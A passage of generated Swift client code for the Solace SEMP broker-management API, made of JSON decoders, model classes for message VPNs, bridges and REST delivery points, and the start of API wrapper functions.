instance.links = Decoders.decodeOptional(clazz: MsgVpnTopicEndpointLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnTopicEndpointsResponse]
Decoders.addDecoder(clazz: [MsgVpnTopicEndpointsResponse].self) { (source: AnyObject) -> [MsgVpnTopicEndpointsResponse] in
return Decoders.decode(clazz: [MsgVpnTopicEndpointsResponse].self, source: source)
}
// Decoder for MsgVpnTopicEndpointsResponse
Decoders.addDecoder(clazz: MsgVpnTopicEndpointsResponse.self) { (source: AnyObject) -> MsgVpnTopicEndpointsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnTopicEndpointsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnsResponse]
Decoders.addDecoder(clazz: [MsgVpnsResponse].self) { (source: AnyObject) -> [MsgVpnsResponse] in
return Decoders.decode(clazz: [MsgVpnsResponse].self, source: source)
}
// Decoder for MsgVpnsResponse
Decoders.addDecoder(clazz: MsgVpnsResponse.self) { (source: AnyObject) -> MsgVpnsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [SempError]
Decoders.addDecoder(clazz: [SempError].self) { (source: AnyObject) -> [SempError] in
return Decoders.decode(clazz: [SempError].self, source: source)
}
// Decoder for SempError
Decoders.addDecoder(clazz: SempError.self) { (source: AnyObject) -> SempError in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = SempError()
instance.code = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["code"])
instance.description = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["description"])
instance.status = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["status"])
return instance
}
// Decoder for [SempMeta]
Decoders.addDecoder(clazz: [SempMeta].self) { (source: AnyObject) -> [SempMeta] in
return Decoders.decode(clazz: [SempMeta].self, source: source)
}
// Decoder for SempMeta
Decoders.addDecoder(clazz: SempMeta.self) { (source: AnyObject) -> SempMeta in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = SempMeta()
instance.error = Decoders.decodeOptional(clazz: SempError.self, source: sourceDictionary["error"])
instance.paging = Decoders.decodeOptional(clazz: SempPaging.self, source: sourceDictionary["paging"])
instance.request = Decoders.decodeOptional(clazz: SempRequest.self, source: sourceDictionary["request"])
instance.responseCode = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["responseCode"])
return instance
}
// Decoder for [SempMetaOnlyResponse]
Decoders.addDecoder(clazz: [SempMetaOnlyResponse].self) { (source: AnyObject) -> [SempMetaOnlyResponse] in
return Decoders.decode(clazz: [SempMetaOnlyResponse].self, source: source)
}
// Decoder for SempMetaOnlyResponse
Decoders.addDecoder(clazz: SempMetaOnlyResponse.self) { (source: AnyObject) -> SempMetaOnlyResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = SempMetaOnlyResponse()
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [SempPaging]
Decoders.addDecoder(clazz: [SempPaging].self) { (source: AnyObject) -> [SempPaging] in
return Decoders.decode(clazz: [SempPaging].self, source: source)
}
// Decoder for SempPaging
Decoders.addDecoder(clazz: SempPaging.self) { (source: AnyObject) -> SempPaging in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = SempPaging()
instance.cursorQuery = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["cursorQuery"])
instance.nextPageUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["nextPageUri"])
return instance
}
// Decoder for [SempRequest]
Decoders.addDecoder(clazz: [SempRequest].self) { (source: AnyObject) -> [SempRequest] in
return Decoders.decode(clazz: [SempRequest].self, source: source)
}
// Decoder for SempRequest
Decoders.addDecoder(clazz: SempRequest.self) { (source: AnyObject) -> SempRequest in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = SempRequest()
instance.method = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["method"])
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [SystemInformation]
Decoders.addDecoder(clazz: [SystemInformation].self) { (source: AnyObject) -> [SystemInformation] in
return Decoders.decode(clazz: [SystemInformation].self, source: source)
}
// Decoder for SystemInformation
Decoders.addDecoder(clazz: SystemInformation.self) { (source: AnyObject) -> SystemInformation in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = SystemInformation()
instance.platform = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["platform"])
instance.sempVersion = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["sempVersion"])
return instance
}
// Decoder for [SystemInformationLinks]
Decoders.addDecoder(clazz: [SystemInformationLinks].self) { (source: AnyObject) -> [SystemInformationLinks] in
return Decoders.decode(clazz: [SystemInformationLinks].self, source: source)
}
// Decoder for SystemInformationLinks
Decoders.addDecoder(clazz: SystemInformationLinks.self) { (source: AnyObject) -> SystemInformationLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = SystemInformationLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [SystemInformationResponse]
Decoders.addDecoder(clazz: [SystemInformationResponse].self) { (source: AnyObject) -> [SystemInformationResponse] in
return Decoders.decode(clazz: [SystemInformationResponse].self, source: source)
}
// Decoder for SystemInformationResponse
Decoders.addDecoder(clazz: SystemInformationResponse.self) { (source: AnyObject) -> SystemInformationResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = SystemInformationResponse()
instance.data = Decoders.decodeOptional(clazz: SystemInformation.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: SystemInformationLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
}
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName.swift
//
// MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName: JSONEncodable {
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The name of the REST Consumer. */
public var restConsumerName: String?
/** The name of the REST Delivery Point. */
public var restDeliveryPointName: String?
/** The expected trusted common name of the remote certificate. */
public var tlsTrustedCommonName: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["restConsumerName"] = self.restConsumerName
nillableDictionary["restDeliveryPointName"] = self.restDeliveryPointName
nillableDictionary["tlsTrustedCommonName"] = self.tlsTrustedCommonName
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnJndiTopic.swift
//
// MsgVpnJndiTopic.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnJndiTopic: JSONEncodable {
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The physical name of the JMS Topic. The default value is `\"\"`. */
public var physicalName: String?
/** The JNDI name of the JMS Topic. */
public var topicName: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["physicalName"] = self.physicalName
nillableDictionary["topicName"] = self.topicName
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnRestDeliveryPoint.swift
//
// MsgVpnRestDeliveryPoint.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnRestDeliveryPoint: JSONEncodable {
/** The Client Profile of the REST Delivery Point. It must exist in the local Message VPN. Its TCP parameters are used for all REST Consumers in this RDP. Its queue properties are used by the RDP client. The Client Profile is used inside the auto-generated Client Username for this RDP. The default value is `\"default\"`. */
public var clientProfileName: String?
/** Enable or disable the REST Delivery Point. When disabled, no connections are initiated or messages delivered to any of the contained REST Consumers. The default value is `false`. */
public var enabled: Bool?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The name of the REST Delivery Point. */
public var restDeliveryPointName: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["clientProfileName"] = self.clientProfileName
nillableDictionary["enabled"] = self.enabled
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["restDeliveryPointName"] = self.restDeliveryPointName
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnLinks.swift
//
// MsgVpnLinks.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnLinks: JSONEncodable {
/** The URI of this MsgVpn's aclProfiles collection. */
public var aclProfilesUri: String?
/** The URI of this MsgVpn's authorizationGroups collection. */
public var authorizationGroupsUri: String?
/** The URI of this MsgVpn's bridges collection. */
public var bridgesUri: String?
/** The URI of this MsgVpn's clientProfiles collection. */
public var clientProfilesUri: String?
/** The URI of this MsgVpn's clientUsernames collection. */
public var clientUsernamesUri: String?
/** The URI of this MsgVpn's jndiConnectionFactories collection. Available since 2.2. */
public var jndiConnectionFactoriesUri: String?
/** The URI of this MsgVpn's jndiQueues collection. Available since 2.2. */
public var jndiQueuesUri: String?
/** The URI of this MsgVpn's jndiTopics collection. Available since 2.2. */
public var jndiTopicsUri: String?
/** The URI of this MsgVpn's mqttSessions collection. Available since 2.1. */
public var mqttSessionsUri: String?
/** The URI of this MsgVpn's queues collection. */
public var queuesUri: String?
/** The URI of this MsgVpn's replayLogs collection. Available since 2.10. */
public var replayLogsUri: String?
/** The URI of this MsgVpn's replicatedTopics collection. Available since 2.9. */
public var replicatedTopicsUri: String?
/** The URI of this MsgVpn's restDeliveryPoints collection. */
public var restDeliveryPointsUri: String?
/** The URI of this MsgVpn's sequencedTopics collection. */
public var sequencedTopicsUri: String?
/** The URI of this MsgVpn's topicEndpoints collection. Available since 2.1. */
public var topicEndpointsUri: String?
/** The URI of this MsgVpn object. */
public var uri: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["aclProfilesUri"] = self.aclProfilesUri
nillableDictionary["authorizationGroupsUri"] = self.authorizationGroupsUri
nillableDictionary["bridgesUri"] = self.bridgesUri
nillableDictionary["clientProfilesUri"] = self.clientProfilesUri
nillableDictionary["clientUsernamesUri"] = self.clientUsernamesUri
nillableDictionary["jndiConnectionFactoriesUri"] = self.jndiConnectionFactoriesUri
nillableDictionary["jndiQueuesUri"] = self.jndiQueuesUri
nillableDictionary["jndiTopicsUri"] = self.jndiTopicsUri
nillableDictionary["mqttSessionsUri"] = self.mqttSessionsUri
nillableDictionary["queuesUri"] = self.queuesUri
nillableDictionary["replayLogsUri"] = self.replayLogsUri
nillableDictionary["replicatedTopicsUri"] = self.replicatedTopicsUri
nillableDictionary["restDeliveryPointsUri"] = self.restDeliveryPointsUri
nillableDictionary["sequencedTopicsUri"] = self.sequencedTopicsUri
nillableDictionary["topicEndpointsUri"] = self.topicEndpointsUri
nillableDictionary["uri"] = self.uri
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnBridgeRemoteSubscription.swift
//
// MsgVpnBridgeRemoteSubscription.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnBridgeRemoteSubscription: JSONEncodable {
public enum BridgeVirtualRouter: String {
case Primary = "primary"
case Backup = "backup"
case Auto = "auto"
}
/** The name of the Bridge. */
public var bridgeName: String?
/** Specify whether the Bridge is configured for the primary or backup Virtual Router or auto configured. The allowed values and their meaning are: <pre> \"primary\" - The Bridge is used for the primary Virtual Router. \"backup\" - The Bridge is used for the backup Virtual Router. \"auto\" - The Bridge is automatically assigned a Router. </pre> */
public var bridgeVirtualRouter: BridgeVirtualRouter?
/** Flag the Subscription Topic as deliver always instead of with the deliver-to-one remote priority value for the Bridge given by \"remoteDeliverToOnePriority\". A given topic may be deliver-to-one or deliver always but not both. */
public var deliverAlwaysEnabled: Bool?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The Topic of the Remote Subscription. */
public var remoteSubscriptionTopic: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["bridgeName"] = self.bridgeName
nillableDictionary["bridgeVirtualRouter"] = self.bridgeVirtualRouter?.rawValue
nillableDictionary["deliverAlwaysEnabled"] = self.deliverAlwaysEnabled
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["remoteSubscriptionTopic"] = self.remoteSubscriptionTopic
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnBridgeLinks.swift
//
// MsgVpnBridgeLinks.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnBridgeLinks: JSONEncodable {
/** The URI of this MsgVpnBridge's remoteMsgVpns collection. */
public var remoteMsgVpnsUri: String?
/** The URI of this MsgVpnBridge's remoteSubscriptions collection. */
public var remoteSubscriptionsUri: String?
/** The URI of this MsgVpnBridge's tlsTrustedCommonNames collection. */
public var tlsTrustedCommonNamesUri: String?
/** The URI of this MsgVpnBridge object. */
public var uri: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["remoteMsgVpnsUri"] = self.remoteMsgVpnsUri
nillableDictionary["remoteSubscriptionsUri"] = self.remoteSubscriptionsUri
nillableDictionary["tlsTrustedCommonNamesUri"] = self.tlsTrustedCommonNamesUri
nillableDictionary["uri"] = self.uri
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/AboutUserMsgVpn.swift
//
// AboutUserMsgVpn.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class AboutUserMsgVpn: JSONEncodable {
public enum AccessLevel: String {
case None = "none"
case ReadOnly = "read-only"
case ReadWrite = "read-write"
}
/** Message VPN access level of the Current User. The allowed values and their meaning are: <pre> \"none\" - No access allowed. \"read-only\" - Read only. \"read-write\" - Read and Write. </pre> */
public var accessLevel: AccessLevel?
/** The name of the Message VPN. */
public var msgVpnName: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["accessLevel"] = self.accessLevel?.rawValue
nillableDictionary["msgVpnName"] = self.msgVpnName
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnAuthorizationGroup.swift
//
// MsgVpnAuthorizationGroup.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnAuthorizationGroup: JSONEncodable {
/** The ACL Profile of the LDAP Authorization Group. The default value is `\"default\"`. */
public var aclProfileName: String?
/** The name of the LDAP Authorization Group. */
public var authorizationGroupName: String?
/** The Client Profile of the LDAP Authorization Group. The default value is `\"default\"`. */
public var clientProfileName: String?
/** Enable or disable the LDAP Authorization Group in the Message VPN. The default value is `false`. */
public var enabled: Bool?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** Lower the priority to be less than this group. The default is not applicable. The default is not applicable. */
public var orderAfterAuthorizationGroupName: String?
/** Raise the priority to be greater than this group. The default is not applicable. The default is not applicable. */
public var orderBeforeAuthorizationGroupName: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["aclProfileName"] = self.aclProfileName
nillableDictionary["authorizationGroupName"] = self.authorizationGroupName
nillableDictionary["clientProfileName"] = self.clientProfileName
nillableDictionary["enabled"] = self.enabled
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["orderAfterAuthorizationGroupName"] = self.orderAfterAuthorizationGroupName
nillableDictionary["orderBeforeAuthorizationGroupName"] = self.orderBeforeAuthorizationGroupName
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/APIs/SystemInformationAPI.swift
//
// SystemInformationAPI.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Alamofire
public class SystemInformationAPI: APIBase {
/**
Gets SEMP API version and platform information.
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getSystemInformation(completion: ((data: SystemInformationResponse?, error: ErrorType?) -> Void)) {
getSystemInformationWithRequestBuilder().execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets SEMP API version and platform information.
- GET /systemInformation
- Gets SEMP API version and platform information. A SEMP client authorized with a minimum access scope/level of \"global/none\" is required to perform this operation. This has been available since 2.1.0. This has been deprecated since 2.2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : {
"sempVersion" : "sempVersion",
"platform" : "platform"
},
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : {
"uri" : "uri"
}
}}]
- returns: RequestBuilder<SystemInformationResponse>
*/
public class func getSystemInformationWithRequestBuilder() -> RequestBuilder<SystemInformationResponse> {
let path = "/systemInformation"
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [:]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<SystemInformationResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: true)
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnBridgeRemoteMsgVpn.swift
//
// MsgVpnBridgeRemoteMsgVpn.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnBridgeRemoteMsgVpn: JSONEncodable {
public enum BridgeVirtualRouter: String {
case Primary = "primary"
case Backup = "backup"
case Auto = "auto"
}
/** The name of the Bridge. */
public var bridgeName: String?
/** Specify whether the Bridge is configured for the primary or backup Virtual Router or auto configured. The allowed values and their meaning are: <pre> \"primary\" - The Bridge is used for the primary Virtual Router. \"backup\" - The Bridge is used for the backup Virtual Router. \"auto\" - The Bridge is automatically assigned a Router. </pre> */
public var bridgeVirtualRouter: BridgeVirtualRouter?
/** The Client Username the Bridge uses to login to the Remote Message VPN. This per Remote Message VPN value overrides the value provided for the bridge overall. The default value is `\"\"`. */
public var clientUsername: String?
/** Enable or disable data compression for the Remote Message VPN. The default value is `false`. */
public var compressedDataEnabled: Bool?
/** The order in which attempts to connect to different Message VPN hosts are attempted, or the preference given to incoming connections from remote routers, from 1 (highest priority) to 4 (lowest priority). The default value is `4`. */
public var connectOrder: Int32?
/** Indicates how many outstanding guaranteed messages can be sent over the Remote Message VPN connection before acknowledgement is received by the sender. The default value is `255`. */
public var egressFlowWindowSize: Int64?
/** Enable or disable the Remote Message VPN. The default value is `false`. */
public var enabled: Bool?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The password for the Client Username that the Bridge uses to login to the Remote Message VPN. The default is to have no `password`. */
public var password: String?
/** The queue binding of the Bridge for the Remote Message VPN. The Bridge attempts to bind to that queue over the Bridge link once the link has been established, or immediately if it already is established. The queue must be configured on the remote router when the Bridge connection is established. If the bind fails an event log is generated which includes the reason for the failure. The default value is `\"\"`. */
public var queueBinding: String?
/** The interface on the local router through which to access the Remote Message VPN. If not provided (recommended) then an interface will be chosen automatically based on routing tables. If an interface is provided, \"remoteMsgVpnLocation\" must be either a hostname or IP Address, not a virtual router-name. */
public var remoteMsgVpnInterface: String?
/** The location of the Remote Message VPN. This may be given as either an FQDN (resolvable via DNS), IP Address, or virtual router-name (starts with 'v:'). If specified as a FQDN or IP Address, a port must be specified as well. */
public var remoteMsgVpnLocation: String?
/** The name of the Remote Message VPN. */
public var remoteMsgVpnName: String?
/** Enable or disable TLS for the Remote Message VPN. The default value is `false`. */
public var tlsEnabled: Bool?
/** The Client Profile for the unidirectional Bridge for the Remote Message VPN. The Client Profile must exist in the local Message VPN, and it is used only for the TCP parameters. The default value is `\"#client-profile\"`. */
public var unidirectionalClientProfile: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["bridgeName"] = self.bridgeName
nillableDictionary["bridgeVirtualRouter"] = self.bridgeVirtualRouter?.rawValue
nillableDictionary["clientUsername"] = self.clientUsername
nillableDictionary["compressedDataEnabled"] = self.compressedDataEnabled
nillableDictionary["connectOrder"] = self.connectOrder?.encodeToJSON()
nillableDictionary["egressFlowWindowSize"] = self.egressFlowWindowSize?.encodeToJSON()
nillableDictionary["enabled"] = self.enabled
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["password"] = self.password
nillableDictionary["queueBinding"] = self.queueBinding
nillableDictionary["remoteMsgVpnInterface"] = self.remoteMsgVpnInterface
nillableDictionary["remoteMsgVpnLocation"] = self.remoteMsgVpnLocation
nillableDictionary["remoteMsgVpnName"] = self.remoteMsgVpnName
nillableDictionary["tlsEnabled"] = self.tlsEnabled
nillableDictionary["unidirectionalClientProfile"] = self.unidirectionalClientProfile
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnAclProfileClientConnectException.swift
//
// MsgVpnAclProfileClientConnectException.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnAclProfileClientConnectException: JSONEncodable {
/** The name of the ACL Profile. */
public var aclProfileName: String?
/** The IP Address/Netmask of the Client Connect Exception in the Classless Inter-Domain Routing (CIDR) form. */
public var clientConnectExceptionAddress: String?
/** The name of the Message VPN. */
public var msgVpnName: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["aclProfileName"] = self.aclProfileName
nillableDictionary["clientConnectExceptionAddress"] = self.clientConnectExceptionAddress
nillableDictionary["msgVpnName"] = self.msgVpnName
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnMqttSessionSubscription.swift
//
// MsgVpnMqttSessionSubscription.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnMqttSessionSubscription: JSONEncodable {
public enum MqttSessionVirtualRouter: String {
case Primary = "primary"
case Backup = "backup"
}
/** The Client ID of the MQTT Session, which corresponds to the ClientId provided in the MQTT CONNECT packet. */
public var mqttSessionClientId: String?
/** The Virtual Router of the MQTT Session. The allowed values and their meaning are: <pre> \"primary\" - The MQTT Session belongs to the primary Virtual Router. \"backup\" - The MQTT Session belongs to the backup Virtual Router. </pre> */
public var mqttSessionVirtualRouter: MqttSessionVirtualRouter?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The quality of service (QoS) for the subscription as either 0 (deliver at most once) or 1 (deliver at least once). QoS 2 is not supported, but QoS 2 messages attracted by QoS 0 or QoS 1 subscriptions are accepted and delivered accordingly. The default value is `0`. */
public var subscriptionQos: Int64?
/** The MQTT subscription topic. */
public var subscriptionTopic: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["mqttSessionClientId"] = self.mqttSessionClientId
nillableDictionary["mqttSessionVirtualRouter"] = self.mqttSessionVirtualRouter?.rawValue
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["subscriptionQos"] = self.subscriptionQos?.encodeToJSON()
nillableDictionary["subscriptionTopic"] = self.subscriptionTopic
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnRestDeliveryPointQueueBinding.swift
//
// MsgVpnRestDeliveryPointQueueBinding.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnRestDeliveryPointQueueBinding: JSONEncodable {
/** Enable or disable whether the authority for the request-target is replaced with that configured for the REST Consumer remote. When enabled, the router sends HTTP requests in absolute-form, with the request-target's authority taken from the REST Consumer's remote host and port configuration. When disabled, the router sends HTTP requests whose request-target matches that of the original request message, including whether to use absolute-form or origin-form. This configuration is applicable only when the Message VPN is in REST gateway mode. The default value is `false`. Available since 2.6. */
public var gatewayReplaceTargetAuthorityEnabled: Bool?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The POST request-target string to use when sending requests. It identifies the target resource on the far-end REST Consumer upon which to apply the POST request. There are generally two common forms for the request-target. The origin-form is most often used in practice and contains the path and query components of the target URI. If the path component is empty then the client must generally send a \"/\" as the path. When making a request to a proxy, most often the absolute-form is required. This configuration is only applicable when the Message VPN is in REST messaging mode. The default value is `\"\"`. */
public var postRequestTarget: String?
/** The name of a queue within this Message VPN. */
public var queueBindingName: String?
/** The name of the REST Delivery Point. */
public var restDeliveryPointName: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["gatewayReplaceTargetAuthorityEnabled"] = self.gatewayReplaceTargetAuthorityEnabled
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["postRequestTarget"] = self.postRequestTarget
nillableDictionary["queueBindingName"] = self.queueBindingName
nillableDictionary["restDeliveryPointName"] = self.restDeliveryPointName
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnReplayLog.swift
//
// MsgVpnReplayLog.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnReplayLog: JSONEncodable {
/** Enable or disable the egress flow of messages from the Replay Log. The default value is `false`. */
public var egressEnabled: Bool?
/** Enable or disable the ingress flow of messages to the Replay Log. The default value is `false`. */
public var ingressEnabled: Bool?
/** The maximum spool usage in megabytes (MB) allowed by the Replay Log. If this limit is exceeded, old messages will be trimmed. The default value is `0`. */
public var maxSpoolUsage: Int64?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The name of the Replay Log. */
public var replayLogName: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["egressEnabled"] = self.egressEnabled
nillableDictionary["ingressEnabled"] = self.ingressEnabled
nillableDictionary["maxSpoolUsage"] = self.maxSpoolUsage?.encodeToJSON()
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["replayLogName"] = self.replayLogName
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/APIs/MsgVpnAPI.swift
//
// MsgVpnAPI.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Alamofire
public class MsgVpnAPI: APIBase {
/**
Gets a list of ACL Profile objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnAclProfiles(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnAclProfilesResponse?, error: ErrorType?) -> Void)) {
